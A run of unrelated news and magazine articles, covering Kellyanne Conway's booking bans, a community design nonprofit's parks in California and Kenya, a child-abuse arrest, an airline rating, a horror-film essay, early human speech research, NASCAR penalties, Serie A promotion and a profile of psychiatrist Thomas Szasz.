Conway, meanwhile, won’t be answering questions on MSNBC’s “Morning Joe” program, at least for a while. Show co-host Mika Brzezinski said Wednesday that Conway wouldn’t be allowed on the three-hour public affairs program, which has had a love-hate relationship with Trump over the course of the campaign.
Brzezinski said she won’t book Conway, “because I don’t believe in fake news or information that is not true. Every time I’ve seen her on television, something’s askew, off or incorrect.”
It’s been a rough stretch for the presidential counselor. She said on MSNBC Monday that Trump had “full confidence” in Flynn, hours before he lost his job. A government ethics panel urged the White House to discipline her for urging Fox News Channel viewers to buy Ivanka Trump’s products. NBC’s Matt Lauer admonished her, “Kellyanne, that makes no sense,” during a “Today” show interview on Tuesday.
Then there was Kate McKinnon’s portrayal of an unhinged Conway on “Saturday Night Live.”
CNN said last week that it had turned down a chance to book her on Jake Tapper’s Feb. 5 program because she had credibility issues; Conway has said she told them she was unavailable that day. Tapper then interviewed Conway on his weekday program two days later, although she hasn’t been on the network since. The White House has banned its officials from appearing on the network.
NBC News said Brzezinski’s statement reflected the views of one program, not the network as a whole. The decision is potentially confusing for both viewers and NBC executives, said Mark Feldstein, a journalism professor at the University of Maryland. What are viewers to think if a source is deemed not credible enough to be on one show but appears on the same network three hours later?
While she wasn’t on “Morning Joe,” she was on NBC News’ higher-profile “Today” show on Tuesday.
She’s not the only Trump administration official who has clashed with the media over facts. Trump aide Stephen Miller was scolded by an angry George Stephanopoulos on ABC’s “This Week” on Sunday for not giving evidence to support a claim of voter fraud. White House press secretary Sean Spicer was criticized after his first White House briefing for giving untrue statements about the inauguration.
“Where do you stop?” Feldstein said. “Conway isn’t the only member of the administration who has a truth-telling problem. It starts at the very top. Can you stop putting Donald Trump on the air if what he says is false? You can’t. He’s the president of the United States.”
CBS News “Face the Nation” host John Dickerson, while emphasizing he’s not talking about the “Morning Joe” decision, said it’s important to get the administration’s views on the record, whether or not they prove accurate.
“Part of my job is allowing the administration to explain itself to people and not interrupt them so much they can’t ever get their point of view across,” Dickerson said. “They say what they believe, and then you interrogate them.”
He said he wished he could ask questions that came with a dose of the truth serum sodium pentothal “to get the perfect, truth-filled answers, but that is not going to happen.”At the edge of California’s Salton Sea, a community arts event called Projections kicked off on a warm evening last November with poetry readings and music performances ranging from heartrending Spanish ballads sung by a weathered man in a cowboy hat to teenagers grinding out speed metal. As the sun set, flocks of pelicans skimmed the calm, dark sea looking to roost, and families gathered outside the Yacht Club for homemade tamales, tortas and fiery Mexican street foods made and sold by Delicias Laguna Azul, a new collective of food vendors who had set up temporary stalls on the parking lot.
Inside the oddly named Yacht Club, a renovated community center that once boasted a marina during the area’s brief midcentury boom, meeting rooms displayed the artwork, traditional embroidery and folk art of local North Shore residents. In the next room, “The Salty Bottom Show” screened, a charming DIY news program produced by children and teens about their home on the northern shore of the beautiful, polluted Salton Sea in the Coachella Valley. Once it got dark and the desert stars blazed, people left the Yacht Club and walked down a long dark road marked by candles glowing in white paper bags to watch artworks and shadow scenes projected onto the walls of abandoned buildings, a reanimation of the decaying structures.
Shadow scenes are projected onto the walls of abandoned buildings at a community art event.
The many talents of North Shore’s residents were celebrated that night — a welcome change from their everyday lives in a place just 150 miles southeast of Los Angeles and a short drive from the golf courses near Palm Springs, yet notorious for DDT-tainted water, a shore lined with fish skeletons, high asthma rates and poverty.
“The residents talked a lot about the negative external perception of this area,” Shannon Scrofano tells me over the sound of laughter as people watched a cutout paper shadow projection on the wall of a former store. “So we worked a lot on self-image-making and the reasons that these people choose to live here.”
For the past two years, Scrofano, a multimedia designer, artist Evelyn Serrano and their colleagues from Kounkuey Design Initiative (KDI), a nonprofit public interest design organization, have been commuting from L.A. to work with North Shore residents on the cultural projects displayed that night. They’ve run the youth workshops that produced “The Salty Bottom Show,” published four issues of a bimonthly print and online community newspaper, El Progreso, which celebrates the local history and developments in the community, encouraged local economic development like the antojitos vendors, and worked with residents to create a logo for North Shore that features a large “O” to represent a space of potential. Scrofano, Serrano and half a dozen North Shore residents proudly wore T-shirts with the logo on it that night.
Women make Mexican street food as part of Delicias Laguna Azul, a new collective of food vendors who set up temporary stalls outside the Yacht Club.
But KDI’s most ambitious project is a five-acre public park that Scrofano, Serrano and their colleagues are working with residents to design and develop. It will be the community’s first public park.
In workshops, Scrofano says, residents focused on articulating the positive facets of their home. “We’re going to see those things — the beauty of the stars and the sea, the birds and the fish — reflected in the artistic aspects of the park,” she says.
Conceived in part as a way to engage the community while the park is in development, the cultural programs and opportunities to perform have resonated deeply with residents. That night, Maria Galaviz Luna, the local poetry instructor, became emotional as she told me how her students came to her class every Tuesday night after long days working hard in the fields, quickly washing the dirt from their faces before sitting down to write poetry. Some of them had never learned how to write in Spanish. Her pride was apparent as she watched them read to the audience sitting in folding chairs beneath the fading sky.
During the performances, the audience was rapt and warmly supportive of their neighbors. The satisfaction in what they had built and all that was coming was palpable. “These programs are the heart, and the new park will be the body,” says Ailin Vasquez, a North Shore mother of three who often hosts KDI and community meetings at her house. She smiles widely before finishing her thought. “It’s overwhelming how this park is going to change this community.”
A student of Maria Galaviz Luna shares a poem she wrote.
Despite the Coachella Valley’s dry desert climate, an aquifer enables agriculture, and thus, a population of around 3,400 people in North Shore. Ninety percent of its residents are Mexican or Mexican-American farm laborers (of those, an estimated half are Purépecha, an indigenous group from the state of Michoácan). The unincorporated town is surrounded by groves of date palms and citrus, but lacks schools, grocery stores, parks and until recently, a presence on maps.
“We are a small community … we often feel abandoned and ignored,” Ailin’s husband, Lucio, a pastor and member of the Mecca-North Shore Community Council, tells me in the Yacht Club’s art gallery. “Over a year ago, we heard about people from Los Angeles who wanted to help us, to empower this community.”
In the spring of 2016, the five-acre park will break ground, providing North Shore with its first soccer fields, a shaded pavilion for gatherings, play structures, an area for food and craft sellers, a skate park, picnic areas, cultural programming, community-designed public artwork, and a bike-share system. Making the new amenities possible in one of California’s poorest regions are philanthropic dollars raised by KDI from foundations including the California Endowment, Artplace America and the Surdna Foundation. (The Surdna Foundation is also a supporter of Next City.) “We need space for our kids,” Ailin says. “Otherwise they just play in the dirt.”
Right now, an empty field of pale soil and dry brush is all that is visible of the park. But a large yellow sign posted by the street reads “El Parque.” Some of the letters on the sign have already faded from the harsh Sonoran Desert sun. Parks take time to build, especially in a place with no precedent.
Learning to “Know Intimately”
The “K” in KDI stands for Kounkuey, a Thai word meaning “to know intimately.” The word is fundamental to the nonprofit’s approach to community design. I first met KDI’s executive director and co-founder, Chelina Odbert, at its main office, a small room covered with models and site plans in a century-old Beaux Arts building in downtown Los Angeles. Odbert, 38, has a tangle of brown curls and tends toward comfortable clothing accented by a piece of simple, folky jewelry. In spite of overseeing several complex projects at a time, she has a calm demeanor and a warm, easy smile. She was raised in Sacramento, but L.A. has been her home base on and off since college.
She was in her first year at Harvard Graduate School of Design (GSD) when the idea for KDI began to take shape. By her final year at the school, Odbert and five of her classmates had begun doing projects under the name KDI.
“I didn’t want to be a traditional planner,” she explains. “I wanted to use design as a means for promoting social justice and equity. We were all seeking alternatives to traditional design careers.” Ten years later, three of the original six members — Odbert, an urban planner, landscape architect Jennifer Toy (who left and recently returned), and Nairobi landscape architect Arthur Adeya — are still with KDI.
Odbert glimpsed the importance of gaining intimate knowledge of a community during a studio course in the favelas of Belo Horizonte, Brazil. She recalls noticing a small fenced playground in the derelict neighborhood and assuming local families were happy to have such a space. But when she asked a resident about it, he explained that the playground was reviled. No plans had been made to maintain the space and drug dealers had taken it over. “I realized then that design alone was not enough,” she says. “Building something and leaving it there wouldn’t guarantee impact. You have to build in the economic and social sustainability too.”
After the light bulb went off, she began noticing just how many well-meaning yet unsuccessful urban design interventions were out there. Odbert, along with Toy, spent her final year of school studying failed urban improvement projects around the world, especially slum upgrades in developing countries.
KDI’s first project together was a two-week independent research trip to Kenya, where co-founder Arthur Adeya was from. The plan was to talk to residents of Nairobi’s largest slum, Kibera, and explore how to best make use of their design training. “Going in, our big question was: Can our skills as designers be useful in non-traditional places, to mitigate environmental degradation or poverty?” Odbert says.
While they knew that a participatory planning process with the affected community was essential, they quickly learned that 14 days in a new place wasn’t going to tell them much.
Kibera has hosted countless iterations of international aid groups, many of which fly Western professionals in and out for a quick experience of “helping.” The cynicism of the residents about another batch of foreigners dropping in for a quick solution was understandable. “We tried to gather a group of residents together to hear their thoughts about what they needed most from their neighborhood, and some would only come if we paid them, which we were not in a position to do. They had been through these processes before, many times, with very little payback,” Odbert says. “The moment for real breakthrough was when we showed up again.”
Showing up over and over again defines KDI’s approach of “knowing intimately.” “We always begin by asking questions, not just about the particulars of a space and what residents want, but more broadly about how residents live, how their community is structured, how do they define community, who are leaders, who is typically excluded, etc.,” Toy says. “It’s so important to understand the existing assets and weaknesses of a community, because without that understanding, any proposal is unlikely to be supported.”
While in Kenya, KDI also worked to define their methodology for what they call “Productive Public Spaces.” In order for a new public space to be sustainable, they realized, it had to have economic and social benefits embedded within its physical structure. Several criteria were determined for Productive Public Spaces: The sites are formerly underutilized or even unsafe; they are conceived, constructed and maintained by the people who use them; they are income generating, sustainable and socially beneficial; they would not be realized by other channels; they employ strong design to make beautiful spaces; and they act as catalysts to improve the social, economic and environmental lives of their users.
“Public space can work a lot harder than it typically does,” Odbert says. “We are always asking: ‘What else can this site provide for you?’”
In Kibera, KDI’s ability to create Productive Public Spaces was honed. Due to the density and lack of space, no project had the luxury of meeting just one goal. The first space they took on was a trash-filled flood zone that residents avoided due to mud and crime. Over four years, KDI worked with several community groups they had reached out to during their initial research trip, such as the Soweto Youth Group (young adults working as waste collectors), to design and build multiple improvements to the site — flood-control walls made of stacked rocks, a bridge, a multipurpose hall, an office, Kibera’s first playground, a water kiosk, an amphitheater, public toilets and showers, and vegetable beds. The site was then able to generate income from several of the above amenities, as well as from hosting a women’s weaving collective and a composting business — transforming it from an unusable eyesore into a self-sustaining community hub.
Nine years later, KDI has completed seven public space projects in Kibera, with three more in progress. Each is unique, yet follows the same method: very close communication and collaboration with a community leading to a multilayered design solution.
From the beginning, KDI invested in young local designers, planners or architects as interns or assistants in order to build a local team. Today, 12 of the 13 staff members in KDI’s Kibera office are Kenyan, and a Coachella Valley office is underway. It’s no longer outsiders coming in to improve conditions, but local coordinators, designers, engineers and project managers working to better their own city. Ibrahim Maina, a Kibera native and project manager for KDI, has been with KDI since the beginning, in 2006. “I chose to work with KDI instead of another NGO because KDI creates team relationships with the communities, and I really love that aspect,” he writes in an email. “Through workshops and meetings, KDI has enhanced a good relationship with the Kibera community and created trust, which has really helped to introduce or replicate their ideas to other villages.”
Sticking to nimble, low-cost design solutions and collaborative partnerships, KDI has completed a remarkable number of sustainable projects in its first decade, and increasingly, the international aid community is paying attention. In 2014, UN-Habitat invited KDI to join an expert group working toward new policies and directions for public space. The resulting report, “Global Public Space Toolkit: From Global Principles to Local Policies and Practices,” was published in 2015.
Different Continents, Similar Struggles
While working in Kenya, Odbert sometimes wondered what KDI’s methodology would look like closer to home. At first, she imagined applying it to impoverished communities in dense U.S. cities, but then a colleague told her about the growth of unpermitted trailer park communities of poor seasonal agricultural workers in the Coachella Valley. Local authorities were trying to close down the trailer parks because of severely unsanitary conditions like crumbling structures and pools of raw sewage. By 2009, Odbert was back in L.A. and ready to see the Coachella Valley in person. She drove out to the North Shore and started talking to people.
After about a year of listening and connecting, she was able to determine how KDI could be useful.
“I heard word for word the same stories in Coachella that I heard in Kibera,” Odbert says. Despite the vast differences, both sites suffer from unpaved roads that turn into mud slicks when it rains. “In each place,” she says, “parents told me that when it rains their children wear plastic bags over their shoes until safely out of their neighborhood, so their schoolmates won’t only see the mud on their shoes.”
Children play on a new playground in St. Anthony’s Trailer Park in the Coachella Valley.
KDI
KDI
KDI
Tipping the Scales
Odbert brought me to KDI’s first project in the Coachella Valley, a public space completed in 2013 for St. Anthony’s Trailer Park, just a few miles drive along an orchard-lined road (actually named Grapefruit Boulevard) from North Shore. As we turned off to reach St. Anthony’s, she was happy to see that the formerly pot-holed dirt road had recently been paved. Loose dogs roamed the perimeter of around 100 trailers, huddled together around a central courtyard of packed dirt with a playground, raised garden beds, a wooden stage and benches for events, and a shade pavilion developed bywith a group of resident volunteers. As we parked, Odbert waved excitedly to Maria Redondo, a resident who had been deeply involved in the planning process. Maria hurried over to give Odbert a hug and updated her on the neighborhood news in rapid Spanish. One layer of the design solutionput in place at St. Anthony’s was partnerships with local nonprofits and schools to offer onsite nutrition and gardening. Watching children clamber over the red-and-white ladders and slides of the play structure and seeing edible nopales cacti growing in the garden beds, it’s hard to believe that whenbegan meeting to discuss the residents’ needs just a few years ago, this same area was an empty trash-strewn lot, as underused as the empty El Parque site in North Shore.
While projects in Kenya and Coachella develop, KDI is expanding farther into other neglected, park-poor zones of Southern California, some of which are just across a freeway from multimillion-dollar homes in L.A. They tend to look for slivers of underutilized spaces hidden in plain sight. “We’ve committed to working in areas where it may be harder to do permanent work for political, economic or social reasons,” Toy says. The decision to work in these marginal spaces has led them to more experimentation with temporary installations. “We’ve started with the idea of putting ‘facts on the ground’ in these places — pop-up projects that can demonstrate what is possible,” she says. “We like to show solutions first because it makes the problems harder to dismiss and the obstacles easier to overcome.”
On a hot weekend in late October, I visited one of their pop-ups, a Halloween and Dia de los Muertos party in a vacant lot in South L.A., one of an estimated 3,000 such lots in the area. It was the fifth event held by Free Lots Angeles, an initiative of six Los Angeles nonprofits, including KDI, which temporarily transforms empty lots into vibrant community spaces.
After meetings with residents, held at a nearby parenting center, KDI heard that the primary need was safe places for their kids to play, afterschool activities and exercise areas. They worked with neighborhood participants to transform the shadeless lot with bright, candy-colored paint, demarcating zones for playing and dancing. They co-designed a meandering aqua path on the ground and AstroTurf-covered mounds to mimic hills — both additions evoking a natural landscape without necessitating water, a key maintenance issue in drought-era L.A. During the party, food and drinks were sold near a Dia de los Muertos altar adorned with family photographs and edible offerings. Children made drawings at arts and crafts stations or played games; a Zumba class got people dancing; bands played and residents collaborated on a mural.
Arts and crafts stands were set up for children and adults at a community art event in the North Shore.
KDI
FUN
FOR
ALL
Many of the vacant lots in the area have been that way since the 1965 Watts Rebellion. “There were so many empty lots to choose from,” Naria Kiani,program associate, says. “And the city often wasn’t even sure which department owned them.” On the neighboring streets, many businesses seemed shuttered and the streets were quiet apart from a couple of preachers standing on opposite corners, melodiously shouting Spanish scripture into megaphones. But a big green sign on the corner, made for the event, read:, and for one weekend, the neighborhood had its park.
KDI has also just begun a yearlong pilot program for Play Streets, an initiative of L.A.’s Department of Transportation and Mayor Eric Garcetti’s Great Streets program. Through the program, KDI will investigate how residents like to play on a street when cars are cleared away. KDI’s hope is that by the end of the year they will have developed a one-size-fits-all kit of supplies that any community can borrow from the city to turn a street into a place for all ages to relax and play.
After all, the goal of making unusable public spaces “work harder” applies not only to muddy flood zones in an informal settlement in Kenya, or empty desert in Southern California, but to pavement within cities that’s monopolized by cars or fenced off and neglected. “The thread,” Odbert says, “is that we see a lot of value and potential in underutilized or overlooked spaces in our cities. Each project may look really different on paper, but they’re all addressing very similar problems by applying the same solution process. It’s the physical, political and economic specifics of each context that create the unique outcomes.”
Ultimately, KDI’s ambitions are to gradually improve living conditions on a larger regional level, not just park by park. “One project, no matter how great, won’t solve the big problems … they must be linked to a large strategy of problem solving,” Odbert says. When KDI began working in Kibera, one of the first things they tackled was a master plan for the whole neighborhood that addressed water pollution, public health and unemployment. But knowing how hard it would be to gain support for such grand-scale plans motivated KDI to choose a different tactic. Odbert and her colleagues worked with residents to create a network of seemingly discrete sites designed to meet specific local needs and sustained by well-trained local staff. While unique to Kibera, the network was a template that other communities could adapt. As a small firm, this is the way they work large: by listening to person after person, densely layering spatial and social improvements, and eventually tipping the scales.ORANGEVALE (CBS13) – Deputies have arrested a mother and her boyfriend on suspicion of child abuse after the death of a 5-year-old boy.
The Sacramento County Sheriff’s Department says first responders were called to the 8700 block of Pershing Avenue for a reported drowning. At the scene, medics found an unresponsive child and transported him to the hospital.
He later pronounced dead.
Deputies were soon alerted that the boy had injuries inconsistent with drowning. Detectives investigated the circumstances surrounding the boy’s death and as a result arrested the child’s mother, 32-year-old Jessica Diane Prater, and the mother’s boyfriend, 39-year-old Adam Jay Caldwell.
Both Prater and Caldwell were booked at Sacramento County Jail and are facing felony child abuse causing death, torture and conspiracy charges. They are not eligible for bail.
Detectives note Caldwell is not the boy’s biological father.Airline reviews and rating site SkyTrax has dubbed Garuda Indonesia the most loved airline in the world. Garuda took the top position from more than 420 participating airlines with an 85 percent satisfaction score, in a survey conducted by the website.
(Read also: Garuda first to try out new Terminal 3)
“This award makes us proud but it also another challenge for Garuda Indonesia to always give the best to its passengers,” Garuda Indonesia President Director Arif Wibowo said in an official statement on Tuesday.
He added, “This success is inseparable from the thousands of hands who work hard to always give the best service as a five-star airline to passengers.”
The survey criteria included airline seat comfort, onboard services, onboard Wi-Fi, airport services and cost to service comparison. Garuda Indonesia has also previously been dubbed one of the most loved airlines in the world by travel website, TripAdvisor. The survey included airlines from 49 countries and involved people speaking 29 languages.
Skytrax started as an independent customer review forum which has grown into a leading independent air travel review website for airlines, airports and associated air traveler reviews. (asw)2017 has been a shitty year — a heartbreaking, hard-fought, barely bearable year. You’ve made it this far, and now it might be tempting, as you search for the perfect holiday film with which to round out the year, to kick back and let Bruce Willis carry you, barefoot, over crunching glass, amid the wailing of a bunch of hapless ’80s yuppies, into 2018.
But you’re not going to do that, because you’re a socially engaged human being and it’s time to accept that we need a subversive, angry, bleak, and cynical film to match our subversive, angry, bleak, and cynical hearts this Christmas. And for that, Die Hard just won’t do. But there’s one movie that will.
Put away your Die Hard DVD this season
Let’s start with the myriad reasons to just say no to Die Hard this year. For one thing, we’re still mourning Hans Gruber. Don’t drag Alan Rickman back into this hellhole of a cultural cesspool; let him move on to an astral plane full of puppies and cute Galaxy Quest aliens.
For another thing, while John McClane’s heroism is classic, he also represents a kind of renegade DIY democracy that’s empowered a certain breed of white man to think that he and he alone has a pass to make America great. Die Hard presents the law as incompetent and useless, Reginald VelJohnson as a thwarted policeman who can only do his best work by enabling the renegade white guy, and the media as vacuous, deceptive, and insatiable. Not to mention Nakatomi Plaza is the sleek embodiment of steadily encroaching foreign interests on good old red-blooded American soil.
Yeah, let’s issue a giant “no” to that moral this year. You can trot out Bruce next year, maybe. If you’re like me and have spent most of the year wanting to tear everything down with a wrecking ball, Ed Exley style (and that includes L.A. Confidential — thanks, Kevin Spacey), then you’re probably in the mood for a holiday movie that reflects your disenchantment, your cynicism, your deep fear at the current state of American politics, your rage-fueled feminism, and your need for some sort of cultural bloodletting.
Well, you’re in luck.
Behold the eerie, subversive, scary wonder of Black Christmas
What you need this Christmas is a horror movie, a slasher film that starts out with a series of creepy-as-hell phone calls, ratchets up the tension, never reveals who the killer is, and includes an in-your-face pro-choice subplot.
You need Black Christmas, a Canadian horror film made by director Bob Clark in 1974 on a shoestring budget (about $700,000), four whole years before Halloween supposedly kicked off the slasher genre. Set in a sorority house just before the students’ year-end departure for the Christmas holidays, the film concerns the escalating terror visited upon the sorority sisters by an unknown assailant who hides in their attic. Over the course of a few nights, his terrifying anonymous phone calls grow more violent, girls start disappearing, and the police force, as well as parents and local community members, all get involved in trying to find the killer.
On the surface, a dark and brooding, slow-paced horror film like Black Christmas might not seem like the perfect holiday entertainment. But there are a few reasons it’s actually the perfect Christmas movie for this particular cultural moment.
The villain in Black Christmas is basically a living Twitter egg
In many ways, Black Christmas is a departure from the villain-centered slasher franchises that would come to define this subgenre of horror. Perhaps the strangest and weirdest departure is that the killer — if indeed there’s only one — is never really identified. The camera often places us directly in his point of view, showing us events from his perspective, and only lets us see one part of his face — his eye, shown in this iconic shot:
The villain, who calls himself “Billy,” shows up without any motive or explanation and starts killing the women of the sorority house one by one. Before he arrives, he prank calls the girls for weeks. In the opening scene, Barb (a fabulous Margot Kidder) describes him jokingly as “the Moaner,” and the girls gather around to listen to him spew his usual litany of perversions. But the call immediately turns frightening and sinister: The caller degrades and insults the women and then starts threatening, amid a lot of incoherent garbling, to straight up kill them.
It all makes the killer seem literally troll-like — an inhuman beast barely capable of human language, hiding not below them, as trolls traditionally do, but over them, as they go about their business. His relationship to the women is also troll-like; from the brief hints we get of his psyche, he can’t seem to decide whether he views them as dehumanized sexual objects or matronly figures who’ve failed in their motherly duties toward him. He’s pretty much the standard internet misogynist brought to life.
Black Christmas is a movie that makes clear there’s real malice behind the threat of this particular brand of trolling. Modern trolls have morphed into terrifying political machines who dox, harass, threaten, and bully their targets while using racist, sexist memes to spread a toxic and immoral ideology of hate. Their anonymity, once the crucial factor that allowed internet culture to proliferate freely and unashamedly, has become a weaponized feature that allows trolls to multiply and harass their targets more effectively. We can no longer treat trolling as harmless behavior — even if it shows up disguised as ineffective ranting.
But even though the phone call is terrifying, the women don’t seem half as shaken by the call as we are watching it unfold. For one thing, they’re clearly used to the calls by now; for another, their prevailing attitude seems to be that everyone knows that trolls will be trolls. Right?
Black Christmas not so subtly points the finger at the community for harboring the violent troll in its |
extra chamber to mimic an air sac.
De Boer played the sounds to 22 people and asked them to identify the vowel. If they got it right, they were asked to try again, only this time noise was added to make it harder to identify the sound. If they got it wrong, noise was reduced.
He found that those listening to tubes without air sacs could tolerate much more noise before the vowels became unintelligible.
The air sacs acted like bass drums, resonating at low frequencies, and causing vowel sounds to merge; Lucy’s baby would have had a greatly reduced vocabulary. Even simple words – such as “tin” and “ten” – would have sounded the same to her.
Observations of soldiers from the first world war corroborate de Boer’s findings. Poison gas enlarged the vestigial air sacs of some soldiers, who are said to have had speech problems that made them hard to comprehend.
De Boer’s study provides clear evidence supporting the idea that the need to produce complex sounds to communicate better made air sacs shrink, says Ann MacLarnon of the University of Roehampton in London. More sounds meant more information could be shared, giving those who lacked air sacs a better chance of survival in a dangerous world.
Early humans’ need to produce complex sounds to communicate better made their vocal air sacs shrink
De Boer found that air sacs also interfered with the workings of the vocal cords, making consonants trickier. Only once they had gone could words like “perpetual”, requiring rapid changes in sound, be produced.
What, then, might our ancestors’ first words have been? With air sacs, vowels tend to sound like the “u” in “ugg”. But studies suggest it is easier to produce a consonant plus a vowel, and “d” is easier to form with “u”. “Drawing it all together, I think it is likely cavemen and cavewomen said ‘duh’ before they said ‘ugg’,” says de Boer.
Listen to simulations of the vowel sounds with and without air sacs:
http://www.newscientist.com/wp-content/uploads/2011/11/az.mp3 http://www.newscientist.com/wp-content/uploads/2011/11/am.mp3 http://www.newscientist.com/wp-content/uploads/2011/11/ez.mp3 http://www.newscientist.com/wp-content/uploads/2011/11/em.mp3 http://www.newscientist.com/wp-content/uploads/2011/11/yz.mp3 http://www.newscientist.com/wp-content/uploads/2011/11/ym.mp3
Journal reference: Journal of Human Evolution, DOI: 10.1016/j.jhevol.2011.07.007Richmond, Va. – NASCAR handed down several serious penalties this week after the Southern 500, including one to winner Denny Hamlin that encumbered his victory and suspended his crew chief for two races. He also forfeited the five playoff points awarded to the winner, which could ultimately hurt him, but still gets credit for another career win.
Hamlin gets it – the blow softened by the fact that he was already qualified for the Cup Series playoffs from an earlier win this season – and said his crew chief Mike Wheeler inspected the rear suspension issue himself and saw it was illegal.
At Richmond Raceway on Friday ahead of the Federated Auto Parts 400, the No. 11 Toyota driver had the perfect response to anyone that calls his violation cheating, pointing to the difference between a legal and illegal car being fractions of inches nowadays.
“How many wins does Richard Petty have? 200? One of those was with a big block (engine), so does he really have 199? Listen, my advice to those who say this or that is all the old-school fans that have been watching NASCAR forever, your driver cheated at some point in their career and they got away with it. The difference is inches, not thousandths because they didn’t measure that stuff back then. “It’s just a tighter box that we live in today, and the engineers and the crew chiefs are so smart that they fight for that little bit because they know it can make the difference in the smallest of deficits on the race track. So I’m gonna tell my crew chief to keep fighting for every inch or square inch of that car to be the best.”
Hamlin is right. Teams are pushing their cars’ limits every week with the goal of getting as close to the edge as possible without falling off. It doesn’t always work out, but they do this because technology has enabled the cars to be so exceptionally competitive and equal with each other that the tiniest edge could be the difference between a win and a loss.
For Joey Logano, without a win at Richmond on Saturday, that difference is making the playoffs or not. He won the spring Richmond race, but after failing the post-race inspection, that win was encumbered. He hasn’t won since and doesn’t have enough points to qualify without a trip to Victory Lane this weekend.
Including a fiery argument from NBC broadcaster and former driver Jeff Burton, the NASCAR world has been debating this week if drivers should be fully disqualified and not get credit for the win, despite it being encumbered and the team losing all the benefits of it.
Hamlin said he’d be in favor of disqualifying drivers for these types of penalties – or at least open to a discussion about it. However, if NASCAR started taking wins away, he’d want that rule to be applied equally among drivers and in the playoffs along with the regular season.
Matt Kenseth also shared his thoughts on the penalties and their significance moving forward.Dec 22 2016 - 17:20
Adriano Galliani thinks Serie A should draw inspiration from NBA and organise a number of games abroad in order to boost interest.
AC Milan CEO Adriano Galliani feels Italian football should do more to promote itself in other countries and believes it would be beneficial if a number of Serie A games were to be played abroad.
The San Siro side are in Doha, Qatar ahead of their Supercoppa Italiana encounter with Juventus on Friday and Galliani thinks it would be a good thing to take the domestic top flight outside of Italy as well, drawing inspiration from the NBA.
"Despite not being the world's first anymore, Italian football is still considered to be excellent," Galliani told Milan Channel.
"We have to promote it and this is why I think we should play a few Serie A matches abroad, as happens in the NBA. We must promote our football throughout the world.
"When we sell the next TV rights, they have to be more free-to-air than encrypted, with a view to foreign markets.
"It is simple: Italian football has to be promoted better than it has been so far.
"When the current contracts come to an end, I think that Lega Serie A will act like the other European Leagues."In 1961, a young psychiatrist initiated a one-man insurgency against his own profession. ‘Psychiatry is conventionally defined as a medical specialty concerned with the diagnosis and treatment of mental diseases,’ he wrote. ‘I submit that this definition, which is still widely accepted, places psychiatry in the company of alchemy and astrology and commits it to the category of pseudoscience. The reason for this is that there is no such thing as “mental illness”.’
Fifty years after his book The Myth of Mental Illness: Foundations of a Theory of Personal Conduct first ventured this uncompromising view, its author Thomas Szasz visited Cornell University in upstate New York. He was there to speak to an audience of students, many of them coerced or bribed by their professors to attend, plus a few local lawyers and psychiatrists. His subject was ‘The Insanity Defence: The Case for Abolition’. The talk started late because a man in a wheelchair was being positioned near the front of the lecture hall. Szasz greeted him enthusiastically; the audience would later learn that he was Ronald Leifer, a psychiatrist who had been denied tenure at the Upstate Medical Center at Syracuse in 1966 for defending Szasz and his iconoclastic ideas against practically the whole of the psychiatric profession.
When it finally started, the lecture was heavily anecdotal and lasted barely half an hour. The 91-year-old psychiatrist spoke in a quiet voice and with a thick Hungarian accent. Students shifted in their seats. Then came the Q&A. Although the subject was the insanity defence, the audience was more interested in Szasz’s assertion that there was no such thing as mental illness. ‘What about schizophrenia?’ ‘How can you be a practising psychiatrist if you don’t believe in mental illness?’
One student asked him: ‘Are you trying to say we all have different brains?’ The lecturer seemed unsteady on his feet. ‘Yes,’ he replied, ‘we do.’ Another student put it to him that we might be determined by our neurological make-up. ‘I think you and I have different brains,’ Szasz replied. That got a laugh from the audience. It was clear that being the only one in the room with a brain like his was part of his persona; being contrarian was his way of being right. Throughout his career, even friendly co-optation irked him. When scholars started associating him with the anti-psychiatry movement, he wrote a book entitled Antipsychiatry: Quackery Squared (2009).
The psychiatrist inherited from the Inquisition the task of quarantining society’s dangerous elements
Szasz liked to present himself as a dissident. And yet, when he began dynamiting the foundations of psychiatry in the 1960s, rebellion was in vogue, and he seemed very much a man of his time. Along with so many other radicals of the decade of dissent who got half of what they wished for, he has largely been forgotten, his troubling declarations defused by decades over which he worked as an academic and a practising psychiatrist.
After the talk at Cornell, he confided over a stiff drink that he generally did not give talks anymore. ‘I’m too old,’ he told me. ‘Plus, not many people know I’m still alive.’ Indeed, not long after our conversation, Szasz died, last fall. But did his ideas die with him? On the contrary, it might be that the world has only recently come around to his way of thinking.
Near Szasz’s school in Budapest there stood a statue of Ignaz Semmelweis, a Hungarian obstetrician who found posthumous fame as a 19th-century martyr of science. To Szasz, the sickly and discontented young son of a Jewish businessman, Semmelweis became something of a hero. The late doctor’s claim to fame had been the discovery that it was possible to practically eliminate the often-fatal ‘childbed fever’ common among new mothers in hospitals if doctors simply washed their hands before assisting with childbirth — especially if they had just been performing autopsies. When his findings became more widely known in the 1840s, he expected a revolution in hospital hygiene. It didn’t come, and Semmelweis grew increasingly outspoken and hostile towards doctors who refused to acknowledge his discovery. Vitriolic academic exchanges ensued, and he was eventually lured to a mental hospital where his opponents had arranged for his incarceration. He was beaten severely and put in a straitjacket. He died within two weeks. Echoing Voltaire, Szasz recalled the doctor’s tragic life in an autobiographical sketch in 2004:
It taught me, at an early age, the lesson that it can be dangerous to be wrong, but, to be right, when society regards the majority’s falsehood as truth, could be fatal. This principle is especially true with respect to false truths that form an important part of an entire society’s belief system. In the past, such basic false truths were religious in nature. In the modern world, they are medical and political in nature.
Szasz was still a teenager when his Jewish family left Hungary, and just preparing for college when they settled in the US in 1938. He later confessed that his knowledge of America prior to his arrival was sketchy, and largely based on reading The Adventures of Tom Sawyer (1876) by Mark Twain. He had heard the ‘usual tales’ about ‘the land of movies, money, and the mistreatment of blacks’. When he enrolled in the University of Cincinnati in the winter of 1939, he discovered that discrimination against Jews, ‘not to mention blacks and women’, was ‘perhaps even more intense’ than it had been in Hungary.
Though he earned a degree in medicine, Szasz was much more interested in politics and philosophy. He chose training in psychoanalysis in Chicago, then a centre of the psychoanalytic craze, over a career as a medical doctor. Demonstrating textbook psychoanalytic ambivalence, he was simultaneously attracted and repelled by the prevailing image of psychoanalysts as the elect. In the same autobiographical sketch from 2004, published as part of the collection Szasz Under Fire: The Psychiatric Abolitionist Faces his Critics, edited by Jeffrey Schaler, he recalls:
The analysts passionately believed that they were treating real diseases, never voiced objections against psychiatric coercions, and believed that criminals were mentally ill and ought to be treated, not punished. These beliefs were an integral part of their self-perception as members of an avant-garde of scientific, liberal intellectuals.
